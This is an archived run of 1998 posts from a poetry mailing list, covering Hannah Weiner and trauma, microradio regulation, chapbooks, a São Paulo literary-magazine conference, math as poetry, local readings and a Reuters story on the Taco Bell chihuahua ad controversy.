>>means...
>>
>>At 7:28 PM -0700 6/17/98, Karen Kelley wrote:
>>>Any chance of your posting some of this Maria?
>>>
>>>Charles Bernstein wrote:

>>>
>>>> Maria Damon's recent MLA presentation
>>>> (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and
>>>> Trauma" for the UB Poetics Program on Thurs., Oct. 15).
>>
>>
>chax press : alexander writing/design/publishing
>[redacted]
>http://alexwritdespub.com/chax

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689. **Maria Damon**
Re: "Cultural Workers"
Thu 18 Jun 1998

At 9:22 AM -0700 6/18/98, Peter Balestrieri wrote:
> Bobbie West wrote: Have you tried working in a shipyard? A man here
> had a ton of steel dropped on his legs last week.
>
> Right on, Bobbie!
>
> To all the "cultural workers" struggling to make a living: have some
> cheese with that whine!
>
> PB

my sympathies w/ the above. but whining can be fun, in proper context. frankly, i have a great life. if i weren't a "cultural worker" who'd found a respectable niche (went into the family business as it were, tho far from home) i'd most assuredly be on SSI.

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690. **morpheal**
Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulation to preserve freedom of speech and the press]
Thu 18 Jun 1998

> *Andrew wrt:*
> *OAKLAND, CA -- A federal judge allowed the government on Tuesday to shut down "Free Radio Berkeley", run by an unlicensed low-power broadcaster who has fought a five-year guerilla war against the way federal authorities regulate the airwaves.*

It is my opinion that with the increased and easier availability of relatively high powered, extremely portable, small transmitter equipment on the commercial market, there is a need to rethink the kinds of legislation and regulations that that would be applicable to that category of technology.

The same criteria ought to apply as are applicable to what are presumed to be responsible larger broadcasters. That is, they ought to be licensed, and ought to have to keep logs of their broadcasts. Unregulated use, without adequate log tapes of actual program content having to be maintained, leads to use of such equipment as a means of unfair competitive practice, where individuals who have that technology can use it to compete against other individuals in extremely hostile ways, in effect endangering true freedoms of speech and the press. I do not think it is necessary to list off all the kinds of hostile competition that could occur, or to what purposes, whether political, social, or economic.

Unregulated there is also very little that could be done about covert usage by aliens who have aggendas contrary to the political, economic, and socio-cultural interests of most Americans or Canadians. Such technologies easily lend themselves to use as a mechanism for brain-washing, propagandizing, and proseletyzing. The question becomes where is the line to be drawn between freedom of speech as debate between somewhat enlightened individuals or groups, and ignorant, ideological, radio-frequency attacks that can potentially infiltrate any legitimate bandwidth in any geographic area ?

I think the whole question needs to be thought through a lot more carefully/

Non licensed, non accountable, non logged, stations do need to be tracked down technologically and eliminated. Perhaps by extreme technological prejudice, as the persistent radio frequency terrorists that they are. Particularly where they are tracked down as piggy-backing on legitimate signals, or intruding into the bandwidths of legitimate licensed signals in their attempts to capture audiences against the free choise of those audiences. Remember that transmitters can transmit on _any_ frequency. They are small and readily portable, requiring very little electrical power to function for a period of time. They can remain mobile. Some micro transmitters, commercially available, can transmit on the bandwidth of your favourite radio or television station, in effect superimposing their signal on what you want to hear. However, the FCC, or the CRTC has yet to be empowered to track them down and blow them away so as to prevent damage to legitimate, licensed, responsible, logged, broadcasters.

The problem of "I heard it, so why is it not on the log" is going to become increasingly frequent unless monitoring and tracking is increased, and monitoring and tracking are relatively useless if there is no licensing.

I think that would protect real freedom of speech, and real freedom of the press, rather than what free for all on the radio waves would accomplish. I think the latter is the real danger.

M.

aka Bob Ezergailis

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691. **Maria Damon**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

---

well since yr so flattering, i'll say a little more, in a more generalized way. let me be also frank about something, which ron silliman will be right to call academic careerism: the essay is under consideration in a coupla venues (a book and a journal) and the "ethics" of posting on the web while something's under consid. are still out w/ the jury. anyway, i was interested in hannah as a jewish writer ever since charles b first mentioned her to me in this context, in 1995. then, when working on a review of John Wieners's 707 Scott St for XCP 3 (stay posted, and don't forget to renew your subscriptions, y'all) i became fascinated with the trope of the "participant-observer" as it may pertain to the kinds of "authoethnographies" that many Beat writers (including my fave, Bob Kaufman) seem involved in --you know, documenting their "scene" etc. Trying to link that with lyric subjectivity, anti-lyric fragmented-subjectivity, etc. And since i was working on Weiner at the same time and could see some of that self-dissociated amanuensis-of-one's-own-experience type sensibility, i thot i had an IDEA. and relating this to trauma, well, it seems entirely plausible if we take into consideration the periodization most often associated w/ the "postmodern" --1945. For someone like Kaufman, whose social location cd be considered traumatic regardless of the "watershed" year, the argument wd have to be historicized somewhat differently than for weiner, but you get the picture... so i got all mixed up w/ weiner and wieners esp since sometimes (due no doubt to some regional peculiarities in Eastern European Yiddish transplanted to the US) people pronounce Hannah's last name to rhyme with "Meaner," and sometimes homonymous with "Whiner." etc.

At 10:36 AM -0500 6/18/98, Pritchett,Patrick @Silverplume wrote:
>Maria - please don't be shy - you're way brilliant, girl! - and who cares
>about "airtight" anyhow? The point is to make our brains leap in a new
>unexpected direction - to open up new fields of inquiry and consideration.
>
>Thanks Mark Presjnar for a very thoughtful analysis of what drives the art
>market here in the US of A.

>
>I missed the Objectivists panel yesterday but my co-worker and fellow poet
>Randy Roark tells me that Carl Rakosi had some very interesting comments to
>make about Zukofsky's personal life - real unvarnished. Item: LZ had never
>even been swimming or on a bicycle till he was 30. Item: he was terrible
>with women and in marrying Celia chose the wrong woman for him. Item: he
>always preached clarity as the ultimate poetic virtue but in reading his
>poems you could garner no idea what he felt about anything. All of which is
>debatable, I suppose. I'm no LZ expert - but Mark Scroggins, I'll pass along
>your request to Michael Heller (who told me the other night that "Boulder is
>a boutique masquerading as a village").
>
>Patrick Pritchett
> ----------
>From: Maria Damon
>To: [redacted]
>Subject: Re: Weiner's _Code Poems_
>Date: Thursday, June 18, 1998 9:10AM
>
>maybe eventually. i feel kinda shy about it because i'm concerned that
>it'll be considered reductive, and i'm not quite confident about my ability
>to make an airtight argument. but basically i want to look at Hannah's
>poetry as trauma-related, thru a kind of "witness-victim" or
>"participant-observer" status as a young Jewish-American woman coming of
>age during the Jewish genocide of WWII and the subsequent revelations in
>the US press (1960s) about the real conditions of the camps. i see her
>clairvoyance as a kind of dissociative state, the type that also
>characterizes trauma survivors...etc., and of course the disembodied
>palimpsest-like ticker-tape feel of the "poetry itself" whatever that
>means...
>
>At 7:28 PM -0700 6/17/98, Karen Kelley wrote:
>>Any chance of your posting some of this Maria?
>>
>>Charles Bernstein wrote:
>>
>>> Maria Damon's recent MLA presentation
>>> (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and
>>> Trauma" for the UB Poetics Program on Thurs., Oct. 15).

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692. **Judy Roitman**
Re: Judge Backs FCC Shutdown of Radio Microbroadca
Thu 18 Jun 1998

> *Andrew wrt:*
> *OAKLAND, CA -- A federal judge allowed the government on Tuesday to shut down "Free Radio Berkeley", run by an unlicensed low-power broadcaster*

And here's what the FCC did to our local microbroadcast station. They simply assigned the frequency to a local fundamentalist Christian group wanting a radio license. This was not at the instigation of the Christian group --- when you apply to the FCC you don't specify frequency.

No muss, no fuss, and no lawsuits pending.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

693. **Henry G**
*Re: Weiner's _Code Poems_*
Thu 18 Jun 1998

On Thu, 18 Jun 1998 09:10:17 -0500 Maria Damon said:
>the US press (1960s) about the real conditions of the camps. i see her
>clairvoyance as a kind of dissociative state, the type that also
>characterizes trauma survivors...etc., and of course the disembodied
>palimpsest-like ticker-tape feel of the "poetry itself" whatever that
>means...

Maria, this sounds like an interesting essay. But I read this last sentence as an indirect comment on my recent posts re: the primordial poetic impulse etc. so I will respond WITH BREVITY.

It's now a cliche that we've lived through an era of theory. But I read your position in the above post as the flip side of mine. Both positions turn into caricature when taken to extremes: mine, to a sort of anti- intellectual art-for-art's sake (an oxy-moronic phrase in itself); yours, to the tyranny of "talk about" - the

kind of interpretation that substitutes for the artwork; a translation rather than a review that keeps its distance.

All this has been hashed around before on the list. My feeling is though that everybody shd be a little like Wallace Stevens: they should have a personal theory of poetry as a phenomenon, in itself, sui generis. A poem can be shown to mean an endless number of things; it's got a shape & a form & a genesis however - & the genesis may well include the history you describe - but I would guess that Hannah Wiener also falls into the general "poet" category I've been trying to promote - a representative of the "poetic impulse". Okay I shut up again. Bye bye rest ye all end of blab sigh... - Henry G.

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694. **William Marsh**
Re: chapbook
Thu 18 Jun 1998

---

to add to what charles and peter have contributed

i first learned about the history of the chapbook in the context of children's literature / evidently the early folktales (Robin Hood, King Arthur) were distributed (c.16th/17th centuries) in chapbooks, growing in popularity into the 18th c. as a kind of "underground" reading phenomonen / and represented i've learned the first break from the more didactic "hornbooks" popular particularly among the Puritans

unlike charles i'd rather not drop the term / perhaps for some it too often evokes the sense of "cheap" or shoddily crafted -- which also has its appeal, in the sense of "rough-edged", showing the scars of production and distribution and use / and consistent with its history the chap still has an "underground" appeal, and at least offers an alternative to those perfect-bound puritans! / personal computers and printers too make it possible to produce rather slick chapbooks, literally overnight (joel k., you awake?) / witness the age of the chapbook micropress / the "chapbook-length poem" as well is an evolving form worth looking at, for its connection to the means of production

bill

At 06:45 PM 6/17/98 -0700, you wrote:
>yes,
>and what do people consider to be a 'chapbook' now? My own definition
>(usually) is a book which is sewn as a single folded group, or signature,
>of pages. So it could be as short as 4 pages, or maybe as long as about 48
>-- but then I've seen (and made) books which were multiple signatures at
>less than 48 pages, and have chosen not to call them 'chapbooks,' rather,

>just 'books.' And I'd just soon drop the term chapbook altogether, except
>that I like its history, its suggestion (at least in my own head) of a book
>very easily carried around, perhaps even in a pocket.
>
>charles
>
>At 06:15 PM 6/17/98 -0600, you wrote:
>>I looked this up a few months ago, 'cause I didn't know either: a chapbook
>was
>>originally any small, cheap book (chiefly pamphlets of popular tales,
>ballads,
>>tracts) sold by a chapman -- an itinerant peddler or a boothkeeper at
>>marketplace. OED sez origins of chap are barter, business. Seems to pre-
cede
>>the US.
>>
>>Brevity in yours,
>
>chax press : alexander writing/design/publishing
>[redacted]
>http://alexwritdespub.com/chax
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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695. **MAXINE CHERNOFF**

Re: reading reports

Thu 18 Jun 1998

SaoPaulo (may 24-27) was a conference on literary magazines with representatives from Brazil, Mexico, Colombia, Argentina, French Canada, Spain, Portugal, and the United States. Nate Mackey (hambone), David Bonnano (APR) and Paul Hoover and I (New American Writing) were the American (as in US) attendees. Clayton Eshleman was also set to represent Sulfur but was unable to attend. The conference was organized by Brazilian poet Horacio Costa and sponsored by the cultural ministry of Sao Paulo. Just to see so many lively lit mags from the Americas and hear similar stories about funding and distribution difficulties world-wide was enlightening. There was also a reading at the University

of Sao Paulo by Mackey, Hoover, Chernoff, Eduardo Mosches (mexico), two Argentinian poets, Daniel Semilovitch and Paula Brudny. Smoky room, avid listeners. Resolutions by the end of the conference to explore means of international exchange and distribution for the magazines and a possible conference to follow in Mexico. Many lively papers given on the history of literary magazine publishing and audience by the more than 30 editors. I read the paper that Clayton E. had faxed. It was a lively and cogent discussion of lit. mag publishing and outsider politics. I hope he plans on printing it in Sulfur or elsewhere.

Maxine Chernoff

On Wed, 17 Jun 1998, david bromige wrote:

> *Just want to drop a word of gratitude into the pool--to Chris Reiner for the Knife and Fork Report from L.A., to Steve Evans a week or so back for reporting on his reading, partic of Creeley's _Life & Death_ , which from Steve's as-ever startlingly precise language it's easy to see one must read . . .And to Pat Pritchett, whose gift for writing on these events is equally admirable. Thanks, fellas.*
>
> *What we're missing (unless I erased carelessly) is some report on the conference in Sao Paulo. I know some listmates attended. I'd like to hear about it.*
>
> *David*

↑ Index

696. William Marsh
chapbook (by Dan Featherston)
Thu 18 Jun 1998

---

list friends:

perhaps now would be a good time to announce the publication of Dan Featherston's new chapbook, "ROOMS", from PaperBrainPress (40pp., $3)

please visit the PBP web page for an advance look at the cover and a sample from the book / plus other details about the press (guideliness, other offerings, etc.)

http://bmarsh.dtai.com/PBrain/pbrain.html

checks payable to:
William Marsh

1860 Pacific Beach Drive #4
San Diego, CA 92109

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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697. david bromige
eddress for quartermain
Thu 18 Jun 1998

[redacted]

+++++++

and something entirely different :

dale smith is unpleasant enough to be my own bastard son. what age has he? where was the regiment then, I wonder?

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698. ShaunAnne Tangney Humanities 8-13-1997
Re: raw numbers
Thu 18 Jun 1998

On Thu, 18 Jun 1998, morpheal wrote:

> *I am firmly of the belief that if you tell me something MUST and CAN be expressed only in mathematical terms, then it is simply untrue about the world we live in.*

as far as i know, only what is fundamentally true _can_ be expressed mathematically...

> *If you can translate what you have so elegantly*
> *expressed in your mathematical language, into English words, using metaphors, analogies, and other linguistic techniques, then you might in fact have*
> *said something truly meaningful about the universe where we live.*

math is beautiful. a well-concieved and well-stated mathematical equations is one of the most beautiful things i know, not the least because it helps me to understand the world i live in better (also one of the reasons i like/respect/need poetry)

E=mc2 is poetic: it's dense,it achieves maximum impact w/ a minimum no.of words ("words"), it's imagistic or analogic ("E" is an image that stands in for the concept of energy), it's linguistic (mathematical formulas follow a system, a set of rules, like any language, that must be understood and acknowledged and

adhered to in order to make meaning), it tells the truth--hell, it even sounds good when you read it aloud--what else do you demand of poetry?

> *Also, I like the idea as to science becoming more poetic.*

science is poetic. it's a poetry that most of us don't read very often and so is unfamiliar to our ears. maybe we need to read science as much as scientists need to read poetry. try _In Search of Schrodinger's Cat_, Gribban, and _Six Easy Pieces_, Feynman for starters and see if it doesn't change your poetry...

--ShaunAnne

> *M.*

↑ Index

699. Brent Long
Book of Mercy /more recent work
Thu 18 Jun 1998

Forgive me if i am wrong, but I believe it was Daniel B. who said that _Book of Mercy_ was Cohen's most recent book of poetry. But I could also almost swear that _Stranger Music_ came out way after 1984 (which is when _Book of Mercy_ was published). I am looking at _BOM_ right now, and _SM_ isn't even listed as a publication in this book, so it must have been after this. At any rate, some very fine examples of Cohen's broad poetic range can be found in _SM_, as well as many lyrics to many of his songs.

Also: George, where did you say that review was located when you first saw it??? I am really interested in reading it.

For what it's worth,

Brent
[redacted]

↑ Index

700. louis stroffolino
Re: Knife and Fork reading
Thu 18 Jun 1998

ARE MR. KNIFE AND MS. Spoon the bastard children of E-LE-PHANT?
c

On Wed, 17 Jun 1998, Christopher Reiner wrote:

> *There was a reading at Sun & Moon's storefront in L.A. on Sunday, to celebrate the publication of the first issue of MR. KNIFE AND MISS FORK--a new journal, edited by Douglas Messerli, that focuses on international poetry. Paul Vangelisti read his translation of poems by Andrea Zanzotto "(THAT) (IT GROW)" and Amelia Rosselli (from _War Variations_--translated with Lucia Re). Julian Semilian read two poems by the Romanian poet Stafan Agustin Doinas (translated with Sanda Agalidi). Michael Henry Heim (who just received a PEN award) read from "A Not-So-Brief Reflection on an Edict" by Miroslav Holub (Czech Republic). Gilbert Alter-Gilbert read his translation of "Manifesto Mayhaps" by Vincente Huidobro. Guy Bennett read his translation of Jacques Roubaud's short essay "About" in which the poet reads his book _Everybody's animals_ to a class of third graders. And Will Alexander read his essay, "The Caribbean: Language as Translucent Imminence."*
>
> *The journal itself has been mentioned in a couple posts lately, but it couldn't hurt to mention it again. It's a great new project. Tell your local librarian to subscribe. And make sure your local bookstore keeps in stock. $10.95. ISBN 1-55713-345-X*
>
> *--Chris Reiner*
>
> *----------*
>
> *WITZ: A Journal of Contemporary Poetics*
> *writing.upenn.edu/epc/ezines/witz*
> *www.litpress.com/witz*

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701. **david bromige**

re : desire

Thu 18 Jun 1998

Dodie, thanks for the clarification. I like the image of Battaile de fois gras! Too bad for me that you typed "sly" when you meant "shy," though. I know very little about desire, in the sense of "understand." That's why I write about it, I expect. But I anticipate learning more as I read _Mina Harker_ .

On second thoughts, maybe you _meant_ to write "sly." When I'm around you (and mindful of how much one brings of oneself to these judgements) I do sometimes feel that we share a taste for sly humor. xox, David

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702. William Burmeister Prod
Re: "Cultural Workers"
Thu 18 Jun 1998

On Jun 18, 9:22am, Peter Balestrieri wrote:
> Subject: "Cultural Workers"
> Bobbie West wrote: Have you tried working in a shipyard? A man here
> had a ton of steel dropped on his legs last week.
>
> Right on, Bobbie!
>
> To all the "cultural workers" struggling to make a living: have some
> cheese with that whine!
>
> PB
>-- End of excerpt from Peter Balestrieri

I'll toast to that! (having once had 16 tons drop on my achilles heel)

I am not worthy to gather up the crumbs of stilton under thy table but speak the world only and my soul shall be healed.

William

↑ Index

703. daniel bouchard
Ah ho s a
Thu 18 Jun 1998

Morpheal, this is stupid stuff:
  You post responses fast enough;
  There can't be much amiss [rhyme here],
  To see the rate your posts appear.
  But oh, good Lord, the rationales you make,
  It gives Listees the belly-ache.

- (from an early draft of AH Housman)

At 12:24 PM 6/18/98 -0400, morpheal wrote:
>ah....something else of much importance as to who is and who is not rich....
>Having the opportunity to do work that is personally satisfying and that
>oneself enjoys doing. That is definitely another indication of great wealth,
>though not necessarily monetary wealth. Sometimes that requires some
>monetary sacrifice rather than gain. It depends on what the situation
really is.
>The freedom to make that choice is also then a kind of being rich.

> *As are many other kinds of positive choices. Not the binary kinds of choices of something or nothing, but real positive choices between this and that. Not only the negative freedom of freedom from hunger, but the positive freedom of being able to sit at the feast and to enjoy it. Though I intend that more as a metaphor than as a literal statement.*
>
> *M.*
>
> *aka Bob Ezergailis*

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

704. **toddbaron**
Re: poetry readings...
Thu 18 Jun 1998

THere are a few: though , yes, this is "pop" country. Not knowing what yr poetic bent is I can rec. only what I "like"

Noah De Lissovoy
Diane Ward
June 26th
Beyond Baroque

CELEBRATION AND READING
for REMAP magazine
(co-edited by Todd Baron and Carolyn Kemp)
with Diane Ward
Noah De Lissovoy
Todd Baron
Martin Nakell

June 28th
2-4

1023 Centinela Ave
(north of Whilshire
in Santa Monica)

Todd Baron
Spencer Selby

July 24
Beyond Barqoue
(Venice)

Seems egoistic to be included here, but
really, truly, I never read here--it's a coincidence

Also check out the series at Sun and Moon Press
--call them and see what's up--on Wilshire Blvd.
They're the most! (You just missed an event there--so there might be one
next month)

--

THere's also a series at a Cafe Balcony--
this is run by a consorium (?) called LA BOOKS

--

THere's a series at LACMA but I'm not that sure what or who---

---

yrs,

Todd Baronizak wrote:
>
> can anyone tell me if there are any readings of interest coming up in los
> angeles?
> i'm here for the summer and have had some problems finding anything.
> thanks.
> -joanna sondheim
>
> **********
> "It does not behoove me to make myself smaller than I am."
> -Edith Sodergran
> **********

↑ Index

705. **R. Gancie**

"Presumably" "...Not Endless..." or 'discrete' by fiat

Thu 18 Jun 1998

"[Papert & Minsky] remark: [We] conjecture that, eventually, the required micro-theories can be made reasonably compact and easily stated once we have found an adequate set of structural primitives for them...."---from Mind Over Machine: The Power of Human Intuition and Expertise in the Era of the Computer by Hubert L. and Stuart E. Dreyfus --- "In any case, the continuity, or density, criterion is not relevant for cogntive representations, since, PRESUMABLY, AT SOME LEVEL THE NERVOUS SYSTEM IS ACTUALLY DISCRETE[!]--and, by this criterion, no discrete approximation to a continuous system qualifies as a true analogue...."from Computation and Cognition: Toward a Foundation for Cognitive Science by Zenon W. Pylyshyn --- "[Papert & Minsky] conclude: But [the list of strucural primitives] is not endless. It is only large, and one needs a large set of concepts to organize it.---Mind Over Machine --- "A bird is an instrument working according to mathematical law, which instrument it is within the capacity of man to reproduce with all its movements."--Leonardo da Vinci --- "The possibility of imitating life by artifact has intrigued people thoughout history (Cohen, 1966); but it is only in the second half of this century that the possibility of using the special type of artifact called a computer has been considered seriously as a means of understanding [e.g. mimicking?] mental phenomena. What is different about this latest interest is that the focus is not primarily on the imitition of movements [robotics? guidance systems?](as was the case with early clockwork mechanisms) but on the imitation (to the extent that this word is even appropriate) of certain unobservable internal processes. This notion became conceivable only with the gradual emergence, in several disparate areas of intellectual development, of a certain abstract way of understanding mechanism."---Computation and Cognition --- "It [Structural primitives] looks like the approach represents a naive transfer to AI research of methods that have succeeded in the natural sciences. Winograd characteristically describes his work in terms borrowed from physical science: We are concerned with developing a formalism, or "representation," with which to describe...knowledge. We seek the "atoms" and "particles" of which it is built, and the "forces" that act on it."---Mind Over Machine --- "In a pervasive change of the cultural mind in the seventeenth century, a complex descriptive model was substituted for nature. The model was a formal system or linguistic machine--in contemporary jargon, a computer program."...from The Poetics of the Common Knowledge by Don Byrd --- "Indeed, physical theories about the universe can be built up by modelling relatively simple and isolated systems and then making the model gradually more complex and integrating it with models of other domains. So much is possible because all the phenomena are presumably the result of the

lawlike relations of a set of basic elements, what Papert and Minsky call "structural primitives". This idea doesn't work in AI. There workers confused two domains, which we shall distinguish as universe and world. A set of interrelated facts may constitiute a universe, like the physical universe, but it does not constitute a world...."---Mind Over Machine, Dreyfus'---cp

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706. lee ann brown
NYC Summer Sublets
Thu 18 Jun 1998

Wanted: NYC-hungry poet(s) or scholar(s) for 1 bedroom
 Lower East Side- (174 Ludlow between Houston & Stanton) .
Good for single person or couple.
Near F Train, access to all cultural events.
Good vibe if somewhat noisy. Bathtub in kitchen.
Requirements:
$700 plus utilities, plus $100 phone deposit up front,
and willingness to feed and brush two cats, Bim & Bom.
Available MONTH AUGUST

Also available for 10 days around 4th of July week:
Friday, JUNE 26 to Sunday, JULY 5th. ($250 includes utilites).
Reply to [redacted] or [redacted].

If you need a place in July too, I know of one.

 - Thkx - Lee Ann Brown

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707. Douglas Barbour
Re: Gwen MacEwen
Thu 18 Jun 1998

Maria

Morpheal has given you the 'romantic' story about Gwen MacEwen, but she is more important for the poetry than the story. She was part of the terrific uprising of young poets in the 60s, but went her own way, via magic & Egypt, to a poetic of openness that was far closer to Duncan than to Creeley, say. At her best, she wrote a joyful large poetry; at her worst, she descended into a rhetoric far too fat with yearning for the 'unspeakable.' Her first novel, _Julian the Magician_ was actually published by Corinth (1963).

One of the best biographies of a conemporary Canadian poet is _The Shadown Maker_ on her. Her Selected Poems would be a delight, on the whole.

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

shivering dog. Talking with a thick Mexican accent, in each commercial Gidget searches doggedly for his heart's desire, ``Yo quiero Taco Bell,'' which means ``I want Taco Bell.''

In the first ad Gidget turned up his nose at a female dog called ``Dinky'' in favor of some Taco Bell. Much of the negative publicity since then has wrongly targeted Dinky who these days only works as a back-up dog for the main attraction, Gidget.

DOG DAYS REVOLUTION

Among the charges leveled against Gidget by Hispanic groups are that he has portrayed the Mexican population as moronic and has defiled the memory of Latin-American revolutionary Ernesto ''Che'' Guevara by posing as a revolutionary wearing a ``Che'' beret.

Nowhere is the uproar more evident that on that high-tech soapbox of the 1990s, the Internet.

``The Taco Bell commercial with that little dog is offensive and here's why; because there is such a lack of positive Hispanic images on American English language TV ... this Chihuahua lampoon -- in which he speaks in a cruelly stereotypical accent -- stands out like a sore thumb,'' Rick Martinez wrote in the Internet publication LatinoLink.

Others on the Internet echo that sentiment. ``It is clear Taco Bell is engaged in a campaign to humiliate Hispanic people by portraying (Gidget), a representative of the Hispanic community, as a vandal, a witch, an inept thief ... and an asexual crazed lunatic,'' one Gidgetphobe wrote.

Taco Bell, a division of Tricon Global Restaurants Inc., said none of its ads are meant to offend.

``We pay special attention to the Hispanic community because of the Mexican heritage of our food,'' said Taco Bell spokeswoman Laurie Gannon. ``We did market research to ensure people would receive the ads in the way they were intended which is entertaining and educational, not offensive.''

Rival fast food chains are having a field day with parodies of the doggy ads. One such spot from Jack in the Box features an ugly Gidget look-alike with a flatulence problem from eating too much rice and beans. Chicken joint El Pollo Loco is running radio ads with a Mexican voice like Gidget's claiming Taco Bell ''tastes just like dog food.''

GIDGET FINDS A FRIEND But not everyone is down on Gidget. One Internet user wrote, ``I think Gidget may have a cause of action against the Hispanic (objectors) for trying to interfere with his contract. The characterizations made by the people that oppose this commercial are more demeaning to Hispanic people.'' Another wrote, ``How .. is one dog representing the entire Mexican population? Just because he is speaking Spanish? I speak Spanish and want some Taco Bell, am I offending Mexicans too?'' Others point out that the dog is smart, can answer obscure Jeopardy questions and is bilingual. Not too shabby. One of the first to call for Gidget's head to roll was former Clearwater, Fla. Mayor Gabriel Cazares, who called for a nationwide Latino boycott of Taco Bell. ``(This) is definitely a hate crime that leads to the type of immigrant bashing that Hispanics are now up against,'' said Cazares, president of the local chapter of the country's oldest Hispanic civil rights group, the League of United Latin American Citizens. But his sentiments were not echoed by the group's Washington headquarters which said it had no problem with the campaign and declined to back his boycott.

MEANWHILE, BACK AT THE RANCH .... Taco Bell, which is spending about $200 million this year on its campaign, is no stranger to controversy. Last year it angered the medical community who claimed its ads, featuring basketball star Shaquille O'Neal, were insulting and insensitive to people with dystonia, a debilitating neurological disorder. The adverts featured the basketball star eating tacos with his neck cocked sideways. Another ad irked patriots when the company ran full page newspapers ads on April Fool's day claiming it had bought the Liberty Bell and renamed it, what else, the Taco Bell. The latest controversy is reminiscent of the fuss 25 years ago when Latin Americans protested that the ``Frito Bandito,'' a cartoon character hawking corn chips, portrayed Latinos as highway robbers. That protest ended with the Frito Bandito being retired by chip maker Frito-Lay. But controversy or not Gidget's future seems assured because when all is said and done Taco Bell's sales are up about 3 percent. One recent poll on the Internet found 98.1 percent wanted Gidget to stay on the air with almost no one calling for his head. And besides, like all big stars, he's under contract.

^REUTERS@

↑ Index

709. **David Baratier**
Re: Ah those rich artists!!
Thu 18 Jun 1998

As a rich artist perhaps I should answer your questions, which, of course, answers two of your questions. Enthousiasmos is the sign of the truly rich. This can be found similar to the way Cynghanedd works on the senses.

Billy probably knows that Patchen had this. I do not teach in academia. If I were to, would I be able to? My experience was one of scoff on his work. He disappears primarily because his work breaks cannons. People would lose coin, especially of title (painter, artist, fiction writer anon) were they to seriously consider inclusion and who in their right mind would. In the same way the Fyrtiotalisternalists made Auden look like a chump and Spender a weak copy but ugly anthologizing americans refuse to step into a ring where the familiar might be merely exposed as such. Even if it's one of their own.

Be well

David Baratier, richest poet (artist) in the United States

↑ Index

710. **Simon DeDeo**
Re: raw numbers
Thu 18 Jun 1998

The debate below, it seems to me, is one of those familiars that seem to show up everywhere people begin to generalize sufficiently away from the realities of the objects in question. "E=mc2", as an inscription on paper, is *not* poetic, or, rather, the qualities that, it seems, you would consider fundamental to its essence (a linear relationship between matter and energy) contribute nothing to the poetry. "E=mc2" is as poetic as "E=c2/m", a decidedly nonphysical, nonsensical relationship. Indeed, "Emc2%^" will do, and that isn't even a well formed sentence in mathematical language -- it doesn't "follow a system", nor does it reflect anything outside of itself. But, I suppose, it does fulfill one of your requirements, in that it does sound good ("E em cee two percent caret").

I'm sorry if this e-mail is slightly testy; the needless and obfusticating blending of entirely different realms of human activity leads to things such as Sokal's _Social Text_ hoax. Not that I have anything against _Social Text_; it's an excellent journal, and I've had numerous occasions to cite its pages in my own work. But poetry deals with areas of human experience that are often a priori closed to scientific study, mathematical analysis, and the like. Phenominal consciousness, in other words. Richard Feynman is wonderful when he writes about science directly (the "Feynman Lectures", in three volumes, are part of the reason

I'm out here Aricebo), but he didn't claim to write poetry, and was (jokingly or not -- it's hard to tell) quite hostile to art, considering it "effeminate" (his words).

I also suggest you clean up your notions of "fundamentally true", a valorizing phrase that often pretends to be describing when it is really self-defining. "As far as I know, only what is fundamentally true _can_ be expressed mathematically" is either patently false, or a definition, depending on your mood and whether or not, indeed, you do read poetry.

Mathematics is independent of history, or, rather, what a mathematician considers beautiful about it is independent of history. There may be certain epistemological accidents along the way, but it is the final form, stripped of confusion, that a mathematician searches for. Newton's calculus, as he wrote it, was ugly, full of imprecise concepts; it is calculus in its modern form that we consider beautiful. On the other hand, Keats' (or, to be a little more "hip", but not much, Pound's) archaicisms -- "faery", Doria -- are beautiful, and "modern editions" of Chaucer can kindly kiss my ass.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

> *On Thu, 18 Jun 1998, morpheal wrote:*
>
> *I am firmly of the belief that if you tell me something MUST and CAN be expressed only in mathematical terms, then it is simply untrue about the world we live in.*
>
> *as far as i know, only what is fundamentally true _can_ be expressed mathematically...*
>
> *If you can translate what you have so elegantly expressed in your mathematical language, into English words, using metaphors, analogies, and other linguistic techniques, then you might in fact have said something truly meaningful about the universe where we live.*
>
> *math is beautiful. a well-concieved and well-stated mathematical equations is one of the most beautiful things i know, not the least because it helps me to understand the world i live in better (also one of the reasons i like/respect/need poetry)*
>
> *E=mc2 is poetic:*
> *it's dense,it achieves maximum impact w/ a minimum no.of words ("words"),*

> *it's imagistic or analogic ("E" is an image that stands*
> *in for the concept of energy), it's linguistic (mathematical formulas*
> *follow a system, a set of rules, like any language, that must be*
> *understood and acknowledged and adhered to in order to make meaning), it*
> *tells the truth--hell, it even sounds good when you read it aloud--what*
> *else do you demand of poetry?*
>
> *Also, I like the idea as to science becoming more poetic.*
>
> *science is poetic. it's a poetry that most of us don't read very often*
> *and so is unfamiliar to our ears. maybe we need to read science as much*
> *as scientists need to read poetry.*
> *try _In Search of Schrodinger's Cat_, Gribban, and _Six Easy Pieces_,*
> *Feynman for starters and see if it doesn't change your poetry...*
>
> *--ShaunAnne*
>
> *M.*

↑ Index

711. **r.drake**
Re: Ah ho s a
Thu 18 Jun 1998

---

on 18 Jun 1998 13:13, <[redacted]> wrote:
>It is my opinion...

on 18 Jun 1998 10:44, <[redacted]> wrote:
>I am firmly of the belief that...

on 10 Jun 1998 22:45, <[redacted]> wrote:
>My opinion, at the time of the Gulf War...

on 7 Jun 1998 12:36, <[redacted]> wrote:
>it is my firm belief...

on 22 May 1998 19:04, <[redacted]> wrote:
>It is my unshakeable belief...

on 15 May 1998 16:14, <[redacted]> wrote:
>In my opinion it will only serve...

MORE OPINION! MORE BELIEF! Facts are for lesser
men who think they know what they're talking about!
Your every thought on any subject, and even more your
